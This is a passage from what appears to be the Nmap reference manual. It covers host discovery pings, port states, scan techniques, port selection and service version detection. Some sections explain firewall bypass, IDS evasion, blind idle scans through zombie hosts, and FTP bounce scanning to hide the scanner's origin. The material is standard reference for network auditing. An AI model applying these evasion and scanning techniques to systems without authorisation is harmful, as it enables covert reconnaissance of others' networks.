Nmap does not care whether the port is open or closed. Either the RST or SYN/ACK response discussed previously tell Nmap that the host is available and responsive.

On Unix boxes, only the privileged user root is generally able to send and receive raw TCP packets. For unprivileged users, a workaround is automatically employed whereby the connect system call is initiated against each target port. This has the effect of sending a SYN packet to the target host, in an attempt to establish a connection. If connect returns with a quick success or an ECONNREFUSED failure, the underlying TCP stack must have received a SYN/ACK or RST and the host is marked available. If the connection attempt is left hanging until a timeout is reached, the host is marked as down.

-PA port list (TCP ACK Ping)

The TCP ACK ping is quite similar to the just-discussed SYN ping. The difference, as you could likely guess, is that the TCP ACK flag is set instead of the SYN flag. Such an ACK packet purports to be acknowledging data over an established TCP connection, but no such connection exists. So remote hosts should always respond with a RST packet, disclosing their existence in the process.

The -PA option uses the same default port as the SYN probe (80) and can also take a list of destination ports in the same format. If an unprivileged user tries this, the connect workaround discussed previously is used. This workaround is imperfect because connect is actually sending a SYN packet rather than an ACK.

The reason for offering both SYN and ACK ping probes is to maximize the chances of bypassing firewalls. Many administrators configure routers and other simple firewalls to block incoming SYN packets except for those destined for public services like the company web site or mail server. This prevents other incoming connections to the organization, while allowing users to make unobstructed outgoing connections to the Internet. This non-stateful approach takes up few resources on the firewall/router and is widely supported by hardware and software filters. The Linux Netfilter/iptables firewall software offers the –syn convenience option to implement this stateless approach. When stateless firewall rules such as this are in place, SYN ping probes (-PS) are likely to be blocked when sent to closed target ports. In such cases, the ACK probe shines as it cuts right through these rules.

Another common type of firewall uses stateful rules that drop unexpected packets. This feature was initially found mostly on high-end firewalls, though it has become much more common over the years. The Linux Netfilter/iptables system supports this through the –state option, which categorizes packets based on connection state. A SYN probe is more likely to work against such a system, as unexpected ACK packets are generally recognized as bogus and dropped. A solution to this quandary is to send both SYN and ACK probes by specifying -PS and -PA.

-PU port list (UDP Ping)

Another host discovery option is the UDP ping, which sends a UDP packet to the given ports. For most ports, the packet will be empty, though some use a protocol-specific payload that is more likely to elicit a response.

The payloads are the same probes used in service and version detection and are defined in the nmap-service-probes

file. Packet content can also be affected with the –data, –data-string, and –data-length options.

The port list takes the same format as with the previously discussed -PS and -PA options. If no ports are specified, the default is 40125. This default can be configured at compile-time by changing DEFAULT_UDP_PROBE_PORT_SPEC in nmap.h. A highly uncommon port is used by default because sending to open ports is often undesirable for this particular scan type.

Upon hitting a closed port on the target machine, the UDP probe should elicit an ICMP port unreachable packet in return. This signifies to Nmap that the machine is up and available. Many other types of ICMP errors, such as host/network unreachables or TTL exceeded are indicative of a down or unreachable host. A lack of response is also interpreted this way. If an open port is reached, most services simply ignore the empty packet and fail to return any response. This is why the default probe port is 40125, which is highly unlikely to be in use. A few services, such as the Character Generator (chargen) protocol, will respond to an empty UDP packet, and thus disclose to Nmap that the machine is available.

The primary advantage of this scan type is that it bypasses firewalls and filters that only screen TCP. For example, I once owned a Linksys BEFW11S4 wireless broadband router. The external interface of this device filtered all TCP ports by default, but UDP probes would still elicit port unreachable messages and thus give away the device.

-PY port list (SCTP INIT Ping)

This option sends an SCTP packet containing a minimal INIT chunk. The default destination port is 80 (configurable at compile time by changing DEFAULT_SCTP_PROBE_PORT_SPEC in nmap.h). Alternate ports can be specified as a parameter. The syntax is the same as for the -p except that port type specifiers like S: are not allowed. Examples are -PY22 and -PY22,80,179,5060. Note that there can be no space between -PY and the port list. If multiple probes are specified they will be sent in parallel.

The INIT chunk suggests to the remote system that you are attempting to establish an association. Normally the destination port will be closed, and an ABORT chunk will be sent back. If the port happens to be open, the target will take the second step of an SCTP four-way-handshake by responding with an INIT-ACK chunk. If the machine running Nmap has a functional SCTP stack, then it tears down the nascent association by responding with an ABORT chunk rather than sending a COOKIE-ECHO chunk which would be the next step in the four-way-handshake. The ABORT packet is sent by the kernel of the machine running Nmap in response to the unexpected INIT-ACK, not by Nmap itself.

Nmap does not care whether the port is open or closed. Either the ABORT or INIT-ACK response discussed previously tell Nmap that the host is available and responsive.

On Unix boxes, only the privileged user root is generally able to send and receive raw SCTP packets. Using SCTP INIT Pings is currently not possible for unprivileged users.

-PE; -PP; -PM (ICMP Ping Types)

In addition to the unusual TCP, UDP and SCTP host discovery types discussed previously, Nmap can send the standard packets sent by the ubiquitous ping program. Nmap sends an ICMP type 8 (echo request) packet to the target IP addresses, expecting a type 0 (echo reply) in return from available hosts. Unfortunately for network explorers, many hosts and firewalls now block these packets, rather than responding as required by RFC 1122[2]. For this reason, ICMP-only scans are rarely reliable enough against unknown targets over the Internet. But for system administrators monitoring an internal network, they can be a practical and efficient approach. Use the -PE option to enable this echo request behavior.

While echo request is the standard ICMP ping query, Nmap does not stop there. The ICMP standards (RFC 792[3] and RFC 950[4] ) also specify timestamp request, information request, and address mask request packets as codes 13, 15, and 17, respectively. While the ostensible purpose for these queries is to learn information such as address masks and current times, they can easily be used for host discovery. A system that replies is up and available. Nmap does not currently implement information request packets, as they are not widely supported. RFC 1122 insists that “a host SHOULD NOT implement these messages”. Timestamp and address mask queries can be sent with the -PP and -PM options, respectively. A timestamp reply (ICMP code 14) or address mask reply (code 18) discloses that the host is available. These two queries can be valuable when administrators specifically block echo request packets while forgetting that other ICMP queries can be used for the same purpose.

-PO protocol list (IP Protocol Ping)

One of the newer host discovery options is the IP protocol ping, which sends IP packets with the specified protocol number set in their IP header. The protocol list takes the same format as do port lists in the previously discussed TCP, UDP and SCTP host discovery options. If no protocols are specified, the default is to send multiple IP packets for ICMP (protocol 1), IGMP (protocol 2), and IP-in-IP (protocol 4). The default protocols can be configured at compile-time by changing DEFAULT_PROTO_PROBE_PORT_SPEC in nmap.h. Note that for the ICMP, IGMP, TCP (protocol 6), UDP (protocol 17) and SCTP (protocol 132), the packets are sent with the proper protocol headers while other protocols are sent with no additional data beyond the IP header (unless any of –data, –data-string, or –data-length options are specified).

This host discovery method looks for either responses using the same protocol as a probe, or ICMP protocol unreachable messages which signify that the given protocol isnt supported on the destination host. Either type of response signifies that the target host is alive.

–disable-arp-ping (No ARP or ND Ping)

Nmap normally does ARP or IPv6 Neighbor Discovery (ND) discovery of locally connected ethernet hosts, even if other host discovery options such as -Pn or -PE are used. To disable this implicit behavior, use the –disable-arp-ping option.

The default behavior is normally faster, but this option is useful on networks using proxy ARP, in which a router speculatively replies to all ARP requests, making every target appear to be up according to ARP scan.

–discovery-ignore-rst

In some cases, firewalls may spoof TCP reset (RST) replies in response to probes to unoccupied or disallowed addresses. Since Nmap ordinarily considers RST replies to be proof that the target is up, this can lead to wasted time scanning targets that arent there. Using the –discovery-ignore-rst will prevent Nmap from considering these replies during host discovery. You may need to select extra host discovery options to ensure you dont miss targets in this case.

–traceroute (Trace path to host)

Traceroutes are performed post-scan using information from the scan results to determine the port and protocol most likely to reach the target. It works with all scan types except connect scans (-sT) and idle scans (-sI). All traces use Nmaps dynamic timing model and are performed in parallel.

Traceroute works by sending packets with a low TTL (time-to-live) in an attempt to elicit ICMP Time Exceeded messages from intermediate hops between the scanner and the target host. Standard traceroute implementations start with a TTL of 1 and increment the TTL until the destination host is reached. Nmaps traceroute starts with a high TTL and then decrements the TTL until it reaches zero. Doing it backwards lets Nmap employ clever caching algorithms to speed up traces over multiple hosts. On average Nmap sends 5–10 fewer packets per host, depending on network conditions. If a single subnet is being scanned (i.e. 192.168.0.0/24) Nmap may only have to send two packets to most hosts.

PORT SCANNING BASICS

While Nmap has grown in functionality over the years, it began as an efficient port scanner, and that remains its core function. The simple command nmap target scans 1,000 TCP ports on the host target. While many port scanners have traditionally lumped all ports into the open or closed states, Nmap is much more granular. It divides ports into six states: open, closed, filtered, unfiltered, open|filtered, or closed|filtered.

These states are not intrinsic properties of the port itself, but describe how Nmap sees them. For example, an Nmap scan from the same network as the target may show port 135/tcp as open, while a scan at the same time with the same options from across the Internet might show that port as filtered.

The six port states recognized by Nmap

open

An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network.

closed

A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.

filtered

Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

unfiltered

The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

open|filtered

Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.

closed|filtered

This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.

PORT SCANNING TECHNIQUES

As a novice performing automotive repair, I can struggle for hours trying to fit my rudimentary tools (hammer, duct tape, wrench, etc.) to the task at hand. When I fail miserably and tow my jalopy to a real mechanic, he invariably fishes around in a huge tool chest until pulling out the perfect gizmo which makes the job seem effortless. The art of port scanning is similar. Experts understand the dozens of scan techniques and choose the appropriate one (or combination) for a given task. Inexperienced users and script kiddies, on the other hand, try to solve every problem with the default SYN scan. Since Nmap is free, the only barrier to port scanning mastery is knowledge. That certainly beats the automotive world, where it may take great skill to determine that you need a strut spring compressor, then you still have to pay thousands of dollars for it.

Most of the scan types are only available to privileged users. This is because they send and receive raw packets, which requires root access on Unix systems. Using an administrator account on Windows is recommended, though Nmap sometimes works for unprivileged users on that platform when Npcap has already been loaded into the OS. Requiring root privileges was a serious limitation when Nmap was released in 1997, as many users only had access to shared shell accounts. Now, the world is different. Computers are cheaper, far more people have always-on direct Internet access, and desktop Unix systems (including Linux and Mac OS X) are prevalent. A Windows version of Nmap is now available, allowing it to run on even more desktops. For all these reasons, users have less need to run Nmap from limited shared shell accounts. This is fortunate, as the privileged options make Nmap far more powerful and flexible.

While Nmap attempts to produce accurate results, keep in mind that all of its insights are based on packets returned by the target machines (or firewalls in front of them). Such hosts may be untrustworthy and send responses intended to confuse or mislead Nmap. Much more common are non-RFC-compliant hosts that do not respond as they should to Nmap probes. FIN, NULL, and Xmas scans are particularly susceptible to this problem. Such issues are specific to certain scan types and so are discussed in the individual scan type entries.

This section documents the dozen or so port scan techniques supported by Nmap. Only one method may be used at a time, except that UDP scan (-sU) and any one of the SCTP scan types (-sY, -sZ) may be combined with any one of the TCP scan types. As a memory aid, port scan type options are of the form -sC, where C is a prominent character in the scan name, usually the first. The one exception to this is the deprecated FTP bounce scan (-b). By default, Nmap performs a SYN Scan, though it substitutes a connect scan if the user does not have proper privileges to send raw packets (requires root access on Unix). Of the scans listed in this section, unprivileged users can only execute connect and FTP bounce scans.

-sS (TCP SYN scan)

SYN scan is the default and most popular scan option for good reasons. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. It is also relatively unobtrusive and stealthy since it never completes TCP connections. SYN scan works against any compliant TCP stack rather than depending on idiosyncrasies of specific platforms as Nmaps FIN/NULL/Xmas, Maimon and idle scans do. It also allows clear, reliable differentiation between the open, closed, and filtered states.

This technique is often referred to as half-open scanning, because you dont open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset) is indicative of a non-listener. If no response is received after several retransmissions, the port is marked as filtered. The port is also marked filtered if an ICMP unreachable error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received. The port is also considered open if a SYN packet (without the ACK flag) is received in response. This can be due to an extremely rare TCP feature known as a simultaneous open or split handshake connection (see https://nmap.org/misc/split-handshake.pdf).

-sT (TCP connect scan)

TCP connect scan is the default TCP scan type when SYN scan is not an option. This is the case when a user does not have raw packet privileges. Instead of writing raw packets as most other scan types do, Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection. It is part of a programming interface known as the Berkeley Sockets API. Rather than read raw packet responses off the wire, Nmap uses this API to obtain status information on each connection attempt.

When SYN scan is available, it is usually a better choice. Nmap has less control over the high level connect call than with raw packets, making it less efficient. The system call completes connections to open target ports rather than performing the half-open reset that SYN scan does. Not only does this take longer and require more packets to obtain the same information, but target machines are more likely to log the connection. A decent IDS will catch either, but most machines have no such alarm system. Many services on your average Unix system will add a note to syslog, and sometimes a cryptic error message, when Nmap connects and then closes the connection without sending data. Truly pathetic services crash when this happens, though that is uncommon. An administrator who sees a bunch of connection attempts in her logs from a single system should know that she has been connect scanned.

-sU (UDP scans)

While most popular services on the Internet run over the TCP protocol, UDP[5] services are widely deployed. DNS, SNMP, and DHCP (registered ports 53, 161/162, and 67/68) are three of the most common. Because UDP scanning is generally slower and more difficult than TCP, some security auditors ignore these ports. This is a mistake, as exploitable UDP services are quite common and attackers certainly dont ignore the whole protocol. Fortunately, Nmap can help inventory UDP ports.

UDP scan is activated with the -sU option. It can be combined with a TCP scan type such as SYN scan (-sS) to check both protocols during the same run.

UDP scan works by sending a UDP packet to every targeted port. For some common ports such as 53 and 161, a protocol-specific payload is sent to increase response rate, but for most ports the packet is empty unless the –data, –data-string, or –data-length options are specified. If an ICMP port unreachable error (type 3, code 3) is returned, the port is closed. Other ICMP unreachable errors (type 3, codes 0, 1, 2, 9, 10, or 13) mark the port as filtered. Occasionally, a service will respond with a UDP packet, proving that it is open. If no response is received after retransmissions, the port is classified as open|filtered. This means that the port could be open, or perhaps packet filters are blocking the communication. Version detection (-sV) can be used to help differentiate the truly open ports from the filtered ones.

A big challenge with UDP scanning is doing it quickly. Open and filtered ports rarely send any response, leaving Nmap to time out and then conduct retransmissions just in case the probe or response were lost. Closed ports are often an even bigger problem. They usually send back an ICMP port unreachable error. But unlike the RST packets sent by closed TCP ports in response to a SYN or connect scan, many hosts rate limit ICMP port unreachable messages by default. Linux and Solaris are particularly strict about this. For example, the Linux 2.4.20 kernel limits destination unreachable messages to one per second (in net/ipv4/icmp.c).

Nmap detects rate limiting and slows down accordingly to avoid flooding the network with useless packets that the target machine will drop. Unfortunately, a Linux-style limit of one packet per second makes a 65,536-port scan take more than 18 hours. Ideas for speeding your UDP scans up include scanning more hosts in parallel, doing a quick scan of just the popular ports first, scanning from behind the firewall, and using –host-timeout to skip slow hosts.

-sY (SCTP INIT scan)

SCTP[6] is a relatively new alternative to the TCP and UDP protocols, combining most characteristics of TCP and UDP, and also adding new features like multi-homing and multi-streaming. It is mostly being used for SS7/SIGTRAN related services but has the potential to be used for other applications as well. SCTP INIT scan is the SCTP equivalent of a TCP SYN scan. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. Like SYN scan, INIT scan is relatively unobtrusive and stealthy, since it never completes SCTP associations. It also allows clear, reliable differentiation between the open, closed, and filtered states.

This technique is often referred to as half-open scanning, because you dont open a full SCTP association. You send an INIT chunk, as if you are going to open a real association and then wait for a response. An INIT-ACK chunk indicates the port is listening (open), while an ABORT chunk is indicative of a non-listener. If no response is received after several retransmissions, the port is marked as filtered. The port is also marked filtered if an ICMP unreachable error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received.

-sN; -sF; -sX (TCP NULL, FIN, and Xmas scans)

These three scan types (even more are possible with the –scanflags option described in the next section) exploit a subtle loophole in the TCP RFC[7] to differentiate between open and closed ports. Page 65 of RFC 793 says that “if the [destination] port state is CLOSED …. an incoming segment not containing a RST causes a RST to be sent in response.” Then the next page discusses packets sent to open ports without the SYN, RST, or ACK bits set, stating that: “you are unlikely to get here, but if you do, drop the segment, and return.”

When scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will result in a returned RST if the port is closed and no response at all if the port is open. As long as none of those three bits are included, any combination of the other three (FIN, PSH, and URG) are OK. Nmap exploits this with three scan types:

Null scan (-sN)

Does not set any bits (TCP flag header is 0)

FIN scan (-sF)

Sets just the TCP FIN bit.

Xmas scan (-sX)

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

These three scan types are exactly the same in behavior except for the TCP flags set in probe packets. If a RST packet is received, the port is considered closed, while no response means it is open|filtered. The port is marked filtered if an ICMP unreachable error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received.

The key advantage to these scan types is that they can sneak through certain non-stateful firewalls and packet filtering routers. Another advantage is that these scan types are a little more stealthy than even a SYN scan. Dont count on this though—most modern IDS products can be configured to detect them. The big downside is that not all systems follow RFC 793 to the letter. A number of systems send RST responses to the probes regardless of whether the port is open or not. This causes all of the ports to be labeled closed. Major operating systems that do this are Microsoft Windows, many Cisco devices, BSDI, and IBM OS/400. This scan does work against most Unix-based systems though. Another downside of these scans is that they cant distinguish open ports from certain filtered ones, leaving you with the response open|filtered.

-sA (TCP ACK scan)

This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

The ACK scan probe packet has only the ACK flag set (unless you use –scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that dont respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

-sW (TCP Window scan)

Window scan is exactly the same as ACK scan except that it exploits an implementation detail of certain systems to differentiate open ports from closed ones, rather than always printing unfiltered when a RST is returned. It does this by examining the TCP Window field of the RST packets returned. On some systems, open ports use a positive window size (even for RST packets) while closed ones have a zero window. So instead of always listing a port as unfiltered when it receives a RST back, Window scan lists the port as open or closed if the TCP Window value in that reset is positive or zero, respectively.

This scan relies on an implementation detail of a minority of systems out on the Internet, so you cant always trust it. Systems that dont support it will usually return all ports closed. Of course, it is possible that the machine really has no open ports. If most scanned ports are closed but a few common port numbers (such as 22, 25, 53) are filtered, the system is most likely susceptible. Occasionally, systems will even show the exact opposite behavior. If your scan shows 1,000 open ports and three closed or filtered ports, then those three may very well be the truly open ones.

-sM (TCP Maimon scan)

The Maimon scan is named after its discoverer, Uriel Maimon. He described the technique in Phrack Magazine issue #49 (November 1996). Nmap, which included this technique, was released two issues later. This technique is exactly the same as NULL, FIN, and Xmas scans, except that the probe is FIN/ACK. According to RFC 793[7] (TCP), a RST packet should be generated in response to such a probe whether the port is open or closed. However, Uriel noticed that many BSD-derived systems simply drop the packet if the port is open.

–scanflags (Custom TCP scan)

Truly advanced Nmap users need not limit themselves to the canned scan types offered. The –scanflags option allows you to design your own scan by specifying arbitrary TCP flags. Let your creative juices flow, while evading intrusion detection systems whose vendors simply paged through the Nmap man page adding specific rules!

The –scanflags argument can be a numerical flag value such as 9 (PSH and FIN), but using symbolic names is easier. Just mash together any combination of URG, ACK, PSH, RST, SYN, and FIN. For example, –scanflags URGACKPSHRSTSYNFIN sets everything, though its not very useful for scanning. The order these are specified in is irrelevant.

In addition to specifying the desired flags, you can specify a TCP scan type (such as -sA or -sF). That base type tells Nmap how to interpret responses. For example, a SYN scan considers no-response to indicate a filtered port, while a FIN scan treats the same as open|filtered. Nmap will behave the same way it does for the base scan type, except that it will use the TCP flags you specify instead. If you dont specify a base type, SYN scan is used.

-sZ (SCTP COOKIE ECHO scan)

SCTP COOKIE ECHO scan is a more advanced SCTP scan. It takes advantage of the fact that SCTP implementations should silently drop packets containing COOKIE ECHO chunks on open ports, but send an ABORT if the port is closed. The advantage of this scan type is that it is not as obvious a port scan than an INIT scan. Also, there may be non-stateful firewall rulesets blocking INIT chunks, but not COOKIE ECHO chunks. Dont be fooled into thinking that this will make a port scan invisible; a good IDS will be able to detect SCTP COOKIE ECHO scans too. The downside is that SCTP COOKIE ECHO scans cannot differentiate between open and filtered ports, leaving you with the state open|filtered in both cases.

-sI zombie host**[:**probeport] (idle scan)

This advanced scan method allows for a truly blind TCP port scan of the target (meaning no packets are sent to the target from your real IP address). Instead, a unique side-channel attack exploits predictable IP fragmentation ID sequence generation on the zombie host to glean information about the open ports on the target. IDS systems will display the scan as coming from the zombie machine you specify (which must be up and meet certain criteria). This fascinating scan type is too complex to fully describe in this reference guide, so I wrote and posted an informal paper with full details at https://nmap.org/book/idlescan.html.

Besides being extraordinarily stealthy (due to its blind nature), this scan type permits mapping out IP-based trust relationships between machines. The port listing shows open ports from the perspective of the zombie host. So you can try scanning a target using various zombies that you think might be trusted (via router/packet filter rules).

You can add a colon followed by a port number to the zombie host if you wish to probe a particular port on the zombie for IP ID changes. Otherwise Nmap will use the port it uses by default for TCP pings (80).

-sO (IP protocol scan)

IP protocol scan allows you to determine which IP protocols (TCP, ICMP, IGMP, etc.) are supported by target machines. This isnt technically a port scan, since it cycles through IP protocol numbers rather than TCP or UDP port numbers. Yet it still uses the -p option to select scanned protocol numbers, reports its results within the normal port table format, and even uses the same underlying scan engine as the true port scanning methods. So it is close enough to a port scan that it belongs here.

Besides being useful in its own right, protocol scan demonstrates the power of open-source software. While the fundamental idea is pretty simple, I had not thought to add it nor received any requests for such functionality. Then in the summer of 2000, Gerhard Rieger conceived the idea, wrote an excellent patch implementing it, and sent it to the announce mailing list (then called nmap-hackers). I incorporated that patch into the Nmap tree and released a new version the next day. Few pieces of commercial software have users enthusiastic enough to design and contribute their own improvements!

Protocol scan works in a similar fashion to UDP scan. Instead of iterating through the port number field of a UDP packet, it sends IP packet headers and iterates through the eight-bit IP protocol field. The headers are usually empty, containing no data and not even the proper header for the claimed protocol. The exceptions are TCP, UDP, ICMP, SCTP, and IGMP. A proper protocol header for those is included since some systems wont send them otherwise and because Nmap already has functions to create them. Instead of watching for ICMP port unreachable messages, protocol scan is on the lookout for ICMP protocol unreachable messages. If Nmap receives any response in any protocol from the target host, Nmap marks that protocol as open. An ICMP protocol unreachable error (type 3, code 2) causes the protocol to be marked as closed while port unreachable (type 3, code 3) marks the protocol open. Other ICMP unreachable errors (type 3, code 0, 1, 9, 10, or 13) cause the protocol to be marked filtered (though they prove that ICMP is open at the same time). If no response is received after retransmissions, the protocol is marked open|filtered

-b FTP relay host (FTP bounce scan)

An interesting feature of the FTP protocol (RFC 959[8]) is support for so-called proxy FTP connections. This allows a user to connect to one FTP server, then ask that files be sent to a third-party server. Such a feature is ripe for abuse on many levels, so most servers have ceased supporting it. One of the abuses this feature allows is causing the FTP server to port scan other hosts. Simply ask the FTP server to send a file to each interesting port of a target host in turn. The error message will describe whether the port is open or not. This is a good way to bypass firewalls because organizational FTP servers are often placed where they have more access to other internal hosts than any old Internet host would. Nmap supports FTP bounce scan with the -b option. It takes an argument of the form username:password@server:port. Server is the name or IP address of a vulnerable FTP server. As with a normal URL, you may omit username:password, in which case anonymous login credentials (user: anonymous password:-wwwuser@) are used. The port number (and preceding colon) may be omitted as well, in which case the default FTP port (21) on server is used.

This vulnerability was widespread in 1997 when Nmap was released, but has largely been fixed. Vulnerable servers are still around, so it is worth trying when all else fails. If bypassing a firewall is your goal, scan the target network for port 21 (or even for any FTP services if you scan all ports with version detection) and use the ftp-bounce NSE script. Nmap will tell you whether the host is vulnerable or not. If you are just trying to cover your tracks, you dont need to (and, in fact, shouldnt) limit yourself to hosts on the target network. Before you go scanning random Internet addresses for vulnerable FTP servers, consider that sysadmins may not appreciate you abusing their servers in this way.

PORT SPECIFICATION AND SCAN ORDER

In addition to all of the scan methods discussed previously, Nmap offers options for specifying which ports are scanned and whether the scan order is randomized or sequential. By default, Nmap scans the most common 1,000 ports for each protocol.

-p port ranges (Only scan specified ports)

This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen (e.g. 1-1023). The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if you specify it explicitly. For IP protocol scanning (-sO), this option specifies the protocol numbers you wish to scan for (0–255).

When scanning a combination of protocols (e.g. TCP and UDP), you can specify a particular protocol by preceding the port numbers by T: for TCP, U: for UDP, S: for SCTP, or P: for IP Protocol. The qualifier lasts until you specify another qualifier. For example, the argument -p U:53,111,137,T:21-25,80,139,8080 would scan UDP ports 53, 111,and 137, as well as the listed TCP ports. Note that to scan both UDP and TCP, you have to specify -sU and at least one TCP scan type (such as -sS, -sF, or -sT). If no protocol qualifier is given, the port numbers are added to all protocol lists. Ports can also be specified by name according to what the port is referred to in the nmap-services. You can even use the wildcards * and ? with the names. For example, to scan FTP and all ports whose names begin with “http”, use -p ftp,http*. Be careful about shell expansions and quote the argument to -p if unsure.

Ranges of ports can be surrounded by square brackets to indicate ports inside that range that appear in nmap-services. For example, the following will scan all ports in nmap-services equal to or below 1024: -p [-1024]. Be careful with shell expansions and quote the argument to -p if unsure.

–exclude-ports port ranges (Exclude the specified ports from scanning)

This option specifies which ports you do want Nmap to exclude from scanning. The port ranges are specified similar to -p. For IP protocol scanning (-sO), this option specifies the protocol numbers you wish to exclude (0–255).

When ports are asked to be excluded, they are excluded from all types of scans (i.e. they will not be scanned under any circumstances). This also includes the discovery phase.

-F (Fast (limited port) scan)

Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100.

Nmap needs an nmap-services file with frequency information in order to know which ports are the most common. If port frequency information isnt available, perhaps because of the use of a custom nmap-services file, Nmap scans all named ports plus ports 1-1024. In that case, -F means to scan only ports that are named in the services file.

-r (Dont randomize ports)

By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons). This randomization is normally desirable, but you can specify -r for sequential (sorted from lowest to highest) port scanning instead.

–port-ratio ratio**<decimal number between 0 and 1>**

Scans all ports in nmap-services file with a ratio greater than the one given. ratio must be between 0.0 and 1.0.

–top-ports n

Scans the n highest-ratio ports found in nmap-services file after excluding all ports specified by –exclude-ports. n must be 1 or greater.

SERVICE AND VERSION DETECTION

Point Nmap at a remote machine and it might tell you that ports 25/tcp, 80/tcp, and 53/udp are open. Using its nmap-services database of about 2,200 well-known services, Nmap would report that those ports probably correspond to a mail server (SMTP), web server (HTTP), and name server (DNS) respectively. This lookup is usually accurate—the vast majority of daemons listening on TCP port 25 are, in fact, mail servers. However, you should not bet your security on this! People can and do run services on strange ports.

Even if Nmap is right, and the hypothetical server above is running SMTP, HTTP, and DNS servers, that is not a lot of information. When doing vulnerability assessments (or even simple network inventories) of your companies or clients, you really want to know which mail and DNS servers and versions are running. Having an accurate version number helps dramatically in determining which exploits a server is vulnerable to. Version detection helps you obtain this information.

After TCP and/or UDP ports are discovered using one of the other scan methods, version detection interrogates those ports to determine more about what is actually running. The nmap-service-probes database contains probes for querying various services and match expressions to recognize and parse responses. Nmap tries to determine the service protocol (e.g. FTP, SSH, Telnet, HTTP), the application name (e.g. ISC BIND, Apache httpd, Solaris telnetd), the version number, hostname, device type (e.g. printer, router), the OS family (e.g. Windows, Linux). When possible, Nmap also gets the Common Platform Enumeration (CPE) representation of this information. Sometimes miscellaneous details like whether an X server is open to connections, the SSH protocol version, or the KaZaA user name, are available. Of course, most services dont provide all of this information. If Nmap was compiled with OpenSSL support, it will connect to SSL servers to deduce the service listening behind that encryption layer. Some UDP ports are left in the open|filtered state after a UDP port scan is unable to determine whether the port is open or filtered. Version detection will try to elicit a response from these ports (just as it does with open ports), and change the state to open if it succeeds. open|filtered TCP ports are treated the same way. Note that the Nmap -A option enables version detection among other things. A paper documenting the workings, usage, and customization of version detection is available at https://nmap.org/book/vscan.html.

When RPC services are discovered, the Nmap RPC grinder is automatically used to determine the RPC program and version numbers. It takes all the TCP/UDP ports detected as RPC and floods them with SunRPC program NULL commands in an attempt to determine whether they are RPC ports, and if so, what program and version number they serve up. Thus you can effectively obtain the same info as rpcinfo -p even if the targets portmapper is behind a firewall (or protected by TCP wrappers). Decoys do not currently work with RPC scan.

When Nmap receives responses from a service but cannot match them to its database, it prints out a special fingerprint and a URL for you to submit it to if you know for sure what is running on the port. Please take a couple minutes to make the submission so that your find can benefit everyone. Thanks to these submissions, Nmap has about 6,500 pattern matches for more than 650 protocols such as SMTP, FTP, HTTP, etc.

Version detection is enabled and controlled with the following options:

-sV (Version detection)

Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.

-sR is an alias for -sV. Prior to March 2011, it was used to active the RPC grinder separately from version detection, but now these options are always combined.

–allports (Dont exclude any ports from version detection)

By default, Nmap version detection skips TCP port 9100 because some printers simply print anything sent to that port, leading to dozens of pages of HTTP GET requests, binary SSL session requests, etc. This behavior can be changed by modifying or removing the Exclude directive in nmap-service-probes, or you can specify –allports to scan all ports regardless of any Exclude directive.

–version-intensity intensity (Set version scan intensity)

When performing a version scan (-sV), Nmap sends a series of probes, each of which is assigned a rarity value between one and nine. The lower-numbered probes are effective against a wide variety of common services, while the higher-numbered ones are rarely useful. The intensity level specifies which probes should be applied. The higher the number, the more likely it is the service will be correctly identified. However, high intensity scans take longer. The intensity must be between 0 and 9. The default is 7. When a probe is registered to the target port via the nmap-service-probes ports directive, that probe is tried regardless of intensity level. This ensures that the DNS probes will always be attempted against any open port 53, the SSL probe will be done against 443, etc.

–version-light (Enable light mode)

This is a convenience alias for –version-intensity 2. This light mode makes version scanning much faster, but it is slightly less likely to identify services.

–version-all (Try every single probe)

An alias for –version-intensity 9, ensuring that every single probe is attempted against each port.

